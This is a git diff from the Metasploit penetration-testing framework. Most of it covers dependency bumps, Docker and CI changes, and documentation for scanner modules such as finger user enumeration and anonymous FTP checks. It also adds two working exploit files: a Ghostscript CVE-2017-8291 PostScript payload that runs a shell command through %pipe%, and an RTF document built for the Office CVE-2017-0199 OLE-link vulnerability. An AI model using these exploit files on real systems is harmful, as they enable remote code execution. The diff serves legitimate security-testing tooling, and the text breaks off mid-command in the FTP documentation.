diff --git a/.dockerignore b/.dockerignore index d79466af1d..671d2295c4 100644 --- a/.dockerignore +++ b/.dockerignore @@ -5,6 +5,10 @@ docker-compose*.yml docker/ !docker/msfconsole.rc README.md +.git/ +.github/ +.ruby-version +.ruby-gemset .bundle Gemfile.local @@ -93,3 +97,6 @@ data/meterpreter/ext_server_pivot.*.dll # https://rapid7.github.io/metasploit-framework. It's an orphan branch. /metakitty .vagrant + +# no need for rspecs +spec/ diff --git a/.gitignore b/.gitignore index 49b76a8f8b..54ed3d7b52 100644 --- a/.gitignore +++ b/.gitignore @@ -88,3 +88,6 @@ data/meterpreter/ext_server_pivot.*.dll # local docker compose overrides docker-compose.local* + +# Ignore python bytecode +*.pyc diff --git a/.travis.yml b/.travis.yml index a94cf3ad57..5fb2123829 100644 --- a/.travis.yml +++ b/.travis.yml @@ -16,12 +16,15 @@ rvm: - '2.4.1' env: - - RAKE_TASKS="cucumber cucumber:boot" CREATE_BINSTUBS=true - - RAKE_TASKS=spec SPEC_OPTS="--tag content" - - RAKE_TASKS=spec SPEC_OPTS="--tag ~content" + - CMD=bundle exec rake "cucumber cucumber:boot" CREATE_BINSTUBS=true + - CMD=bundle exec rake spec SPEC_OPTS="--tag content" + - CMD=bundle exec rake spec SPEC_OPTS="--tag ~content" matrix: fast_finish: true + include: + - rvm: ruby-head + env: CMD="docker-compose -f $TRAVIS_BUILD_DIR/docker-compose.yml build" before_install: - "echo 'gem: --no-ri --no-rdoc' > ~/.gemrc" - rake --version @@ -36,7 +39,7 @@ before_script: - bundle exec rake db:migrate script: # fail build if db/schema.rb update is not committed - - git diff --exit-code db/schema.rb && bundle exec rake $RAKE_TASKS + - git diff --exit-code db/schema.rb && $CMD notifications: irc: "irc.freenode.org#msfnotify" @@ -49,3 +52,6 @@ branches: except: - gh-pages - metakitty + +services: + - docker diff --git a/Gemfile.lock b/Gemfile.lock index 006ba6c495..bea8838d35 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,13 +1,13 @@ GIT remote: https://github.com/WinRb/rubyntlm - revision: 7e2daf6076ba55a435d3e345498a7df40faa3d49 + revision: 38aaf1d59dd1a443e4a9c0aea2be232cfe262772 branch: master specs: - rubyntlm (0.6.1) + rubyntlm (0.6.2) GIT remote: https://github.com/banister/method_source - revision: 6dcb116e37e20e58f615ffe05a40bbe9a536e44a + revision: 0cc6cc8e15d08880585e8cb0c54e13c3cf937c54 branch: master specs: method_source (0.8.1) @@ -31,7 +31,7 @@ GIT PATH remote: . specs: - metasploit-framework (4.14.15) + metasploit-framework (4.14.17) actionpack (~> 4.2.6) activerecord (~> 4.2.6) activesupport (~> 4.2.6) @@ -44,9 +44,9 @@ PATH metasploit-concern metasploit-credential metasploit-model - metasploit-payloads (= 1.2.24) + metasploit-payloads (= 1.2.28) metasploit_data_models - metasploit_payloads-mettle (= 0.1.8) + metasploit_payloads-mettle (= 0.1.9) msgpack nessus_rest net-ssh @@ -56,7 +56,7 @@ PATH octokit openssl-ccm openvas-omp - packetfu (= 1.1.13.pre) + packetfu patch_finder pcaprub pg @@ -136,7 +136,7 @@ GEM bcrypt (3.1.11) bindata (2.4.0) builder (3.2.3) - capybara (2.13.0) + capybara (2.14.0) addressable mime-types (>= 1.16) nokogiri (>= 1.3.3) @@ -146,7 +146,7 @@ GEM childprocess (0.5.9) ffi (~> 1.0, >= 1.0.11) coderay (1.1.1) - contracts (0.15.0) + contracts (0.16.0) cucumber (2.4.0) builder (>= 2.1.2) cucumber-core (~> 1.5.0) @@ -177,7 +177,7 @@ GEM ffi (1.9.18) filesize (0.1.1) fivemat (1.3.3) - gherkin (4.1.1) + gherkin (4.1.3) google-protobuf (3.2.0.2) googleauth (0.5.1) faraday (~> 0.9) @@ -222,7 +222,7 @@ GEM activemodel (~> 4.2.6) activesupport (~> 4.2.6) railties (~> 4.2.6) - metasploit-payloads (1.2.24) + metasploit-payloads (1.2.28) metasploit_data_models (2.0.14) activerecord (~> 4.2.6) activesupport (~> 4.2.6) @@ -233,7 +233,7 @@ GEM postgres_ext railties (~> 4.2.6) recog (~> 2.0) - metasploit_payloads-mettle (0.1.8) + metasploit_payloads-mettle (0.1.9) mime-types (3.1) mime-types-data (~> 3.2015) mime-types-data (3.2016.0521) @@ -254,7 +254,7 @@ GEM openssl-ccm (1.2.1) openvas-omp (0.0.4) os (0.9.6) - packetfu (1.1.13.pre) + packetfu (1.1.13) pcaprub patch_finder (1.0.2) pcaprub (0.12.4) @@ -283,7 +283,7 @@ GEM thor (>= 0.18.1, < 2.0) rake (12.0.0) rb-readline (0.5.4) - recog (2.1.5) + recog (2.1.6) nokogiri redcarpet (3.4.0) rex-arch (0.1.4) @@ -299,7 +299,7 @@ GEM metasm rex-arch rex-text - rex-exploitation (0.1.12) + rex-exploitation (0.1.13) jsobfu metasm rex-arch @@ -312,7 +312,7 @@ GEM rex-arch rex-ole (0.1.5) rex-text - rex-powershell (0.1.70) + rex-powershell (0.1.71) rex-random_identifier rex-text rex-random_identifier (0.1.2) @@ -333,23 +333,23 @@ GEM rex-text rkelly-remix (0.0.7) robots (0.10.1) - rspec-core (3.5.4) - rspec-support (~> 3.5.0) - rspec-expectations (3.5.0) + rspec-core (3.6.0) + rspec-support (~> 3.6.0) + rspec-expectations (3.6.0) diff-lcs (>= 1.2.0, < 2.0) - rspec-support (~> 3.5.0) - rspec-mocks (3.5.0) + rspec-support (~> 3.6.0) + rspec-mocks (3.6.0) diff-lcs (>= 1.2.0, < 2.0) - rspec-support (~> 3.5.0) - rspec-rails (3.5.2) + rspec-support (~> 3.6.0) + rspec-rails (3.6.0) actionpack (>= 3.0) activesupport (>= 3.0) railties (>= 3.0) - rspec-core (~> 3.5.0) - rspec-expectations (~> 3.5.0) - rspec-mocks (~> 3.5.0) - rspec-support (~> 3.5.0) - rspec-support (3.5.0) + rspec-core (~> 3.6.0) + rspec-expectations (~> 3.6.0) + rspec-mocks (~> 3.6.0) + rspec-support (~> 3.6.0) + rspec-support (3.6.0) ruby_smb (0.0.12) bindata rubyntlm @@ -383,7 +383,7 @@ GEM xmlrpc (0.3.0) xpath (2.0.0) nokogiri (~> 1.3) - yard (0.9.8) + yard (0.9.9) PLATFORMS ruby diff --git a/LICENSE_GEMS b/LICENSE_GEMS index 7654bb1eaa..02fe8b531e 100644 --- a/LICENSE_GEMS +++ b/LICENSE_GEMS @@ -1,3 +1,4 @@ +This file is auto-generated by tools/dev/update_gem_licenses.sh actionpack, 4.2.8, MIT actionview, 4.2.8, MIT activemodel, 4.2.8, MIT @@ -8,14 +9,14 @@ arel, 6.0.4, MIT arel-helpers, 2.3.0, unknown aruba, 0.14.2, MIT bcrypt, 3.1.11, MIT -bindata, 2.3.5, ruby +bindata, 2.4.0, ruby bit-struct, 0.15.0, ruby builder, 3.2.3, MIT bundler, 1.14.6, MIT -capybara, 2.13.0, MIT +capybara, 2.14.0, MIT childprocess, 0.5.9, MIT coderay, 1.1.1, MIT -contracts, 0.15.0, "Simplified BSD" +contracts, 0.16.0, "Simplified BSD" cucumber, 2.4.0, MIT cucumber-core, 1.5.0, MIT cucumber-rails, 1.4.5, MIT @@ -25,31 +26,31 @@ docile, 1.1.5, MIT erubis, 2.7.0, MIT factory_girl, 4.8.0, MIT factory_girl_rails, 4.8.0, MIT -faraday, 0.12.0.1, MIT +faraday, 0.12.1, MIT ffi, 1.9.18, "New BSD" filesize, 0.1.1, MIT fivemat, 1.3.3, MIT -gherkin, 4.1.1, MIT +gherkin, 4.1.3, MIT google-protobuf, 3.2.0.2, "New BSD" googleauth, 0.5.1, "Apache 2.0" -grpc, 1.2.2, "New BSD" +grpc, 1.2.5, "New BSD" i18n, 0.8.1, MIT jsobfu, 0.4.2, "New BSD" -json, 2.0.3, ruby +json, 2.1.0, ruby jwt, 1.5.6, MIT little-plugger, 1.1.4, MIT -logging, 2.2.0, MIT +logging, 2.2.2, MIT loofah, 2.0.3, MIT memoist, 0.15.0, MIT metasm, 1.0.3, LGPL metasploit-aggregator, 0.1.3, "New BSD" metasploit-concern, 2.0.3, "New BSD" metasploit-credential, 2.0.8, "New BSD" -metasploit-framework, 4.14.9, "New BSD" +metasploit-framework, 4.14.17, "New BSD" metasploit-model, 2.0.3, "New BSD" -metasploit-payloads, 1.2.19, "3-clause (or ""modified"") BSD" +metasploit-payloads, 1.2.28, "3-clause (or ""modified"") BSD" metasploit_data_models, 2.0.14, "New BSD" -metasploit_payloads-mettle, 0.1.8, "3-clause (or ""modified"") BSD" +metasploit_payloads-mettle, 0.1.9, "3-clause (or ""modified"") BSD" method_source, 0.8.1, MIT mime-types, 3.1, MIT mime-types-data, 3.2016.0521, MIT @@ -68,7 +69,7 @@ octokit, 4.7.0, MIT openssl-ccm, 1.2.1, MIT openvas-omp, 0.0.4, MIT os, 0.9.6, MIT -packetfu, 1.1.13.pre, BSD +packetfu, 1.1.13, BSD patch_finder, 1.0.2, "New BSD" pcaprub, 0.12.4, LGPL-2.1 pg, 0.20.0, "New BSD" @@ -84,18 +85,18 @@ rails-html-sanitizer, 1.0.3, MIT railties, 4.2.8, MIT rake, 12.0.0, MIT rb-readline, 0.5.4, BSD -recog, 2.1.5, unknown +recog, 2.1.6, unknown redcarpet, 3.4.0, MIT rex-arch, 0.1.4, "New BSD" rex-bin_tools, 0.1.2, "New BSD" rex-core, 0.1.9, "New BSD" rex-encoder, 0.1.3, "New BSD" -rex-exploitation, 0.1.12, "New BSD" +rex-exploitation, 0.1.13, "New BSD" rex-java, 0.1.4, "New BSD" rex-mime, 0.1.4, "New BSD" rex-nop, 0.1.0, unknown rex-ole, 0.1.5, "New BSD" -rex-powershell, 0.1.70, "New BSD" +rex-powershell, 0.1.71, "New BSD" rex-random_identifier, 0.1.2, "New BSD" rex-registry, 0.1.2, "New BSD" rex-rop_builder, 0.1.2, "New BSD" @@ -106,13 +107,13 @@ rex-text, 0.2.14, "New BSD" rex-zip, 0.1.2, "New BSD" rkelly-remix, 0.0.7, MIT robots, 0.10.1, MIT -rspec-core, 3.5.4, MIT -rspec-expectations, 3.5.0, MIT -rspec-mocks, 3.5.0, MIT -rspec-rails, 3.5.2, MIT -rspec-support, 3.5.0, MIT -ruby_smb, 0.0.8, "New BSD" -rubyntlm, 0.6.1, MIT +rspec-core, 3.6.0, MIT +rspec-expectations, 3.6.0, MIT +rspec-mocks, 3.6.0, MIT +rspec-rails, 3.6.0, MIT +rspec-support, 3.6.0, MIT +ruby_smb, 0.0.12, "New BSD" +rubyntlm, 0.6.2, MIT rubyzip, 1.2.1, "Simplified BSD" sawyer, 0.8.1, MIT shoulda-matchers, 3.1.1, MIT @@ -127,5 +128,6 @@ timecop, 0.8.1, MIT tzinfo, 1.2.3, MIT tzinfo-data, 1.2017.2, MIT windows_error, 0.1.1, BSD +xmlrpc, 0.3.0, ruby xpath, 2.0.0, unknown -yard, 0.9.8, MIT +yard, 0.9.9, MIT diff --git a/data/exploits/CVE-2017-8291/msf.eps b/data/exploits/CVE-2017-8291/msf.eps new file mode 100644 index 0000000000..7c4d4b7285 --- /dev/null +++ b/data/exploits/CVE-2017-8291/msf.eps @@ -0,0 +1,101 @@ +%!PS-Adobe-3.0 EPSF-3.0 +%%BoundingBox: -0 -0 100 100 + + +/size_from 10000 def +/size_step 500 def +/size_to 65000 def +/enlarge 1000 def + +%/bigarr 65000 array def + +0 +size_from size_step size_to { + pop + 1 add +} for + +/buffercount exch def + +/buffersizes buffercount array def + + +0 +size_from size_step size_to { + buffersizes exch 2 index exch put + 1 add +} for +pop + +/buffers buffercount array def + +0 1 buffercount 1 sub { + /ind exch def + buffersizes ind get /cursize exch def + cursize string /curbuf exch def + buffers ind curbuf put + cursize 16 sub 1 cursize 1 sub { + curbuf exch 255 put + } for +} for + + +/buffersearchvars [0 0 0 0 0] def +/sdevice [0] def + +enlarge array aload + +{ + .eqproc + buffersearchvars 0 buffersearchvars 0 get 1 add put + buffersearchvars 1 0 put + buffersearchvars 2 0 put + buffercount { + buffers buffersearchvars 1 get get + buffersizes buffersearchvars 1 get get + 16 sub get + 254 le { + buffersearchvars 2 1 put + buffersearchvars 3 buffers buffersearchvars 1 get get put + buffersearchvars 4 buffersizes buffersearchvars 1 get get 16 sub put + } if + buffersearchvars 1 buffersearchvars 1 get 1 add put + } repeat + + buffersearchvars 2 get 1 ge { + exit + } if + %(.) print +} loop + +.eqproc +.eqproc +.eqproc +sdevice 0 +currentdevice +buffersearchvars 3 get buffersearchvars 4 get 16#7e put +buffersearchvars 3 get buffersearchvars 4 get 1 add 16#12 put +buffersearchvars 3 get buffersearchvars 4 get 5 add 16#ff put +put + + +buffersearchvars 0 get array aload + +sdevice 0 get +16#3e8 0 put + +sdevice 0 get +16#3b0 0 put + +sdevice 0 get +16#3f0 0 put + + +currentdevice null false mark /OutputFile (%pipe%echo vulnerable > /dev/tty) +.putdeviceparams +1 true .outputpage +.rsdparams +%{ } loop +0 0 .quit +%asdf + diff --git a/data/exploits/cve-2017-0199.rtf b/data/exploits/cve-2017-0199.rtf new file mode 100644 index 0000000000..34cac443bc --- /dev/null +++ b/data/exploits/cve-2017-0199.rtf @@ -0,0 +1,33 @@ +{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi31507\deflang1033\deflangfe2052\themelang1033\themelangfe2052\themelangcs0 +{\info +{\author Microsoft} +{\operator Microsoft} +} +{\*\xmlnstbl {\xmlns1 http://schemas.microsoft.com/office/word/2003/wordml}} +{ +{\object\objautlink\objupdate\rsltpict\objw291\objh230\objscalex99\objscaley101 +{\*\objclass Word.Document.8} +{\*\objdata 0105000002000000 +090000004f4c45324c696e6b000000000000000000000a0000 +d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff0900060000000000000000000000010000000100000000000000001000000200000001000000feffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +fffffffffffffffffdfffffffefffffffefffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffff020000000003000000000000c000000000000046000000000000000000000000704d +6ca637b5d20103000000000200000000000001004f006c00650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a000200ffffffffffffffffffffffff00000000000000000000000000000000000000000000000000000000 +000000000000000000000000f00000000000000003004f0062006a0049006e0066006f00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120002010100000003000000ffffffff0000000000000000000000000000000000000000000000000000 +0000000000000000000004000000060000000000000003004c0069006e006b0049006e0066006f000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000014000200ffffffffffffffffffffffff000000000000000000000000000000000000000000000000 +00000000000000000000000005000000b700000000000000010000000200000003000000fefffffffeffffff0600000007000000feffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +MINISTREAM_DATA +0105000000000000} +{\result {\rtlch\fcs1 \af31507 \ltrch\fcs0 \insrsid1979324 }}}} +{\*\datastore } +} diff --git a/docker-compose.yml b/docker-compose.yml index adadd36613..05fa58c774 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -1,6 +1,6 @@ version: '2' services: - ms: &ms + ms: image: metasploit build: context: . @@ -12,7 +12,7 @@ services: ports: - 4444:4444 volumes: - - $HOME/.msf4:/root/.msf4 + - $HOME/.msf4:/home/msf/.msf4 db: image: postgres:9.6 diff --git a/docker/Dockerfile b/docker/Dockerfile index 0e220d1290..ea0abc5371 100644 --- a/docker/Dockerfile +++ b/docker/Dockerfile @@ -1,47 +1,54 @@ FROM ruby:2.3-alpine MAINTAINER Rapid7 -ARG BUNDLER_ARGS="--system --jobs=8" +ARG BUNDLER_ARGS="--jobs=8 --without development test coverage" ENV APP_HOME /usr/src/metasploit-framework/ +ENV MSF_USER msf WORKDIR $APP_HOME COPY Gemfile* m* Rakefile $APP_HOME COPY lib $APP_HOME/lib RUN apk update && \ - apk add \ - ruby-bigdecimal \ - ruby-bundler \ - ruby-io-console \ - autoconf \ - bison \ - subversion \ - git \ - sqlite \ - nmap \ - libxslt \ - postgresql \ - ncurses \ - && apk add --virtual .ruby-builddeps \ - build-base \ - ruby-dev \ - libffi-dev\ - openssl-dev \ - readline-dev \ - sqlite-dev \ - postgresql-dev \ - libpcap-dev \ - libxml2-dev \ - libxslt-dev \ - yaml-dev \ - zlib-dev \ - ncurses-dev \ - bison \ - autoconf \ - && echo "gem: --no-ri --no-rdoc" > /etc/gemrc \ - && bundle install $BUNDLER_ARGS \ - && apk del .ruby-builddeps \ - && rm -rf /var/cache/apk/* + apk add \ + sqlite-libs \ + nmap \ + postgresql-libs \ + # needed as long as metasploit-framework.gemspec contains a 'git ls' + git \ + ncurses \ + libcap \ + && apk add --virtual .ruby-builddeps \ + autoconf \ + bison \ + build-base \ + ruby-dev \ + libffi-dev\ + openssl-dev \ + readline-dev \ + sqlite-dev \ + postgresql-dev \ + libpcap-dev \ + libxml2-dev \ + libxslt-dev \ + yaml-dev \ + zlib-dev \ + ncurses-dev \ + && echo "gem: --no-ri --no-rdoc" > /etc/gemrc \ + && bundle install --system $BUNDLER_ARGS \ + && apk del .ruby-builddeps \ + && rm -rf /var/cache/apk/* + +# fix for robots gem not readable (known bug) +# https://github.com/rapid7/metasploit-framework/issues/6068 +RUN chmod o+r /usr/local/bundle/gems/robots-*/lib/robots.rb + +RUN adduser -g msfconsole -D $MSF_USER + +RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby) + +USER $MSF_USER ADD ./ $APP_HOME + CMD ["./msfconsole", "-r", "docker/msfconsole.rc"] diff --git a/docker/docker-compose.development.override.yml b/docker/docker-compose.development.override.yml index 84d3de535b..f4ac60633a 100644 --- a/docker/docker-compose.development.override.yml +++ b/docker/docker-compose.development.override.yml @@ -1,7 +1,11 @@ version: '2' services: - ms: &ms + ms: + build: + args: + BUNDLER_ARGS: --jobs=8 + image: metasploit:dev environment: DATABASE_URL: postgres://postgres@db:5432/msf_dev diff --git a/docker/msfconsole.rc b/docker/msfconsole.rc index 089ec84b30..7e1e56406f 100644 --- a/docker/msfconsole.rc +++ b/docker/msfconsole.rc @@ -1,5 +1,10 @@ -run_single("setg LHOST #{ENV['LHOST']}") if ENV['LHOST'] run_single("setg LPORT #{ENV['LPORT']}") if ENV['LPORT'] +if ENV['LHOST'] + lhost = ENV['LHOST'] +else + lhost = %x(hostname -i) +end +run_single("setg LHOST #{lhost}") run_single("db_connect #{ENV['DATABASE_URL'].gsub('postrgres://', '')}") if ENV['DATABASE_URL'] diff --git a/documentation/modules/auxiliary/scanner/backdoor/energizer_duo_detect.md b/documentation/modules/auxiliary/scanner/backdoor/energizer_duo_detect.md new file mode 100644 index 0000000000..44d47f76d8 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/backdoor/energizer_duo_detect.md @@ -0,0 +1,27 @@ +## Vulnerable Application + +More information can be found on the [Rapid7 Blog](https://community.rapid7.com/community/metasploit/blog/2010/03/08/locate-and-exploit-the-energizer-trojan). +Energizer's "DUO" USB Battery Charger included a backdoor which listens on port 7777. + +The software can be downloaded from the [Wayback Machine](http://web.archive.org/web/20080722134654/www.energizer.com/usbcharger/language/english/download.aspx). + +## Verification Steps + + 1. Install the vulnerable software + 2. Start msfconsole + 3. Do: `use auxiliary/scanner/backdoor/energizer_duo_detect` + 4. Do: `set rhosts` + 5. Do: `run` + +## Scenarios + + A run against the backdoor + + ``` + msf > use auxiliary/scanner/backdoor/energizer_duo_detect + msf auxiliary(energizer_duo_detect) > set RHOSTS 192.168.0.0/24 + msf auxiliary(energizer_duo_detect) > set THREADS 256 + msf auxiliary(energizer_duo_detect) > run + + [*] 192.168.0.132:7777 FOUND: [["F", "AUTOEXEC.BAT"]... + ``` diff --git a/documentation/modules/auxiliary/scanner/chargen/chargen_probe.md b/documentation/modules/auxiliary/scanner/chargen/chargen_probe.md new file mode 100644 index 0000000000..d9cb416d0c --- /dev/null +++ b/documentation/modules/auxiliary/scanner/chargen/chargen_probe.md @@ -0,0 +1,50 @@ +## Vulnerable Application + +Chargen is a debugging and measurement tool and a character generator service. Often `chargen` is included in `xinetd`, +along with `echo`, `time`, `daytime`, and `discard`. +While its possible to run chargen on TCP, the most common implementation is UDP. + +The following was done on Kali linux: + + 1. `apt-get install xinetd` + 2. edit `/etc/xinetd.d/chargen` and changed `disabled = yes` to `disabled = no`. The first one is for `TCP` and the second is for `UDP`. + 3. Restart the service: `service xinetd restart` + +## Verification Steps + + 1. Install and configure chargen + 2. Start msfconsole + 3. Do: `use auxiliary/scanner/chargen/chargen_probe` + 4. Do: `run` + +## Scenarios + + A run against the configuration from these docs + + ``` + msf > use auxiliary/scanner/chargen/chargen_probe + msf auxiliary(chargen_probe) > set rhosts 127.0.0.1 + rhosts => 127.0.0.1 + msf auxiliary(chargen_probe) > set verbose true + verbose => true + msf auxiliary(chargen_probe) > run + + [*] 127.0.0.1:19 - Response: !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefgh + "#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghi + #$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghij + $%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijk + %&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijkl + &'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklm + '()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmn + ()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmno + )*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnop + *+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopq + +,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqr + ,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrs + -./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrst + ./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghi + + [+] 127.0.0.1:19 answers with 1022 bytes (headers + UDP payload) + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + ``` diff --git a/documentation/modules/auxiliary/scanner/finger/finger_users.md b/documentation/modules/auxiliary/scanner/finger/finger_users.md new file mode 100644 index 0000000000..cf175de565 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/finger/finger_users.md @@ -0,0 +1,58 @@ +## Vulnerable Application + +Finger is an older protocol which displays information about users on a machine. This can be abused to verify if a user is valid on that machine. +The protocol itself was designed in the 1970s, and is run in cleartext. + +The following was done on Kali linux: + + 1. `apt-get install inetutils-inetd fingerd` + 2. Start the service: `/etc/init.d/inetutils-inetd start` + +## Verification Steps + + 1. Install fingerd + 2. Start msfconsole + 3. Do: `use auxiliary/scanner/finger/finger_users` + 4. Do: `set rhosts` + 5. Do: `run` + +## Options + +**USERS_FILE** + +The USERS_FILE is a newline delimited list of users and defaults to `unix_users.txt` included with metasploit. + +## Scenarios + + A run against the configuration from these docs + + ``` + msf > use auxiliary/scanner/finger/finger_users + msf auxiliary(finger_users) > set rhosts 127.0.0.1 + rhosts => 127.0.0.1 + msf auxiliary(finger_users) > run + + [+] 127.0.0.1:79 - 127.0.0.1:79 - Found user: root + [+] 127.0.0.1:79 - 127.0.0.1:79 Users found: root + [*] Scanned 1 of 1 hosts (100% complete) + [*] Auxiliary module execution completed + ``` + +## Confirming using NMAP + +Utilizing the [finger](https://nmap.org/nsedoc/scripts/finger.html) script + + ``` + # nmap -p 79 --script finger 127.0.0.1 + + Starting Nmap 7.40 ( https://nmap.org ) at 2017-04-26 19:35 EDT + Nmap scan report for localhost (127.0.0.1) + Host is up (0.000039s latency). + PORT STATE SERVICE + 79/tcp open finger + | finger: Login Name Tty Idle Login Time Office Office Phone\x0D + | root root tty2 16d Apr 10 19:17 (:0)\x0D + |_root root *pts/3 1d Apr 25 19:11 (192.168.2.175)\x0D + + Nmap done: 1 IP address (1 host up) scanned in 0.42 seconds + ``` diff --git a/documentation/modules/auxiliary/scanner/ftp/anonymous.md b/documentation/modules/auxiliary/scanner/ftp/anonymous.md new file mode 100644 index 0000000000..dbb0f5b27d --- /dev/null +++ b/documentation/modules/auxiliary/scanner/ftp/anonymous.md @@ -0,0 +1,93 @@ +## Description + +This module allows us to scan through a series of IP Addresses and provide details whether anonymous access is allowed or not in that particular FTP server. By default, anonymous access is not allowed by the FTP server. + +## Vulnerable Application + +### Install ftp server on Kali Linux: + +1. ```apt-get install vsftpd``` +2. Allow local users to log in and to allow ftp uploads by editing file `/etc/vsftpd.conf` uncommenting the following: + + ``` + local_enable=YES + write_enable=YES + chroot_list_enable=YES + chroot_list_file=/etc/vsftpd.chroot_list + ``` + +3. **IMPORTANT:** For allowing anonymous access set ```anonymous_enable=YES``` +4. Create the file `/etc/vsftpd.chroot_list` and add the local users you want allow to connect to FTP server. Start service and test connections: +5. ```service vsftpd start``` + +### Installing FTP for IIS 7.5 in Windows: + +#### IIS 7.5 for Windows Server 2008 R2: + +1. On the taskbar, click Start, point to Administrative Tools, and then click Server Manager. +2. In the Server Manager hierarchy pane, expand Roles, and then click Web Server (IIS). +3. In the Web Server (IIS) pane, scroll to the Role Services section, and then click Add Role Services. +4. On the Select Role Services page of the Add Role Services Wizard, expand FTP Server. +5. Select FTP Service. (Note: To support ASP.NET Membership or IIS Manager authentication for the FTP service, you will also need to select FTP Extensibility.) +6. Click Next. +7. On the Confirm Installation Selections page, click Install. +8. On the Results page, click Close. + + + +#### IIS 7.5 for Windows 7: + +1. On the taskbar, click Start, and then click Control Panel. +2. In Control Panel, click Programs and Features, and then click Turn Windows Features on or off. +3. Expand Internet Information Services, then FTP Server. +4. Select FTP Service. (Note: To support ASP.NET Membership or IIS Manager authentication for the FTP service, you will also need to select FTP Extensibility.) +5. Click OK. + +#### Enabling anonymous login on IIS + +1. Open IIS Manager and navigate to the level you want to manage. ... +2. In Features View, double-click Authentication. +3. On the Authentication page, select Anonymous Authentication. +4. In the Actions pane, click Enable to use Anonymous authentication with the default settings. + +## Verification Steps + +1. Do: ```use auxiliary/scanner/ftp/anonymous``` +2. Do: ```set RHOSTS [IP]``` +3. Do: ```set RPORT [IP]``` +4. Do: ```run``` + +## Sample Output + +### On vsFTPd 3.0.3 on Kali + +``` +msf > use auxiliary/scanner/ftp/anonymous +msf auxiliary(anonymous) > set 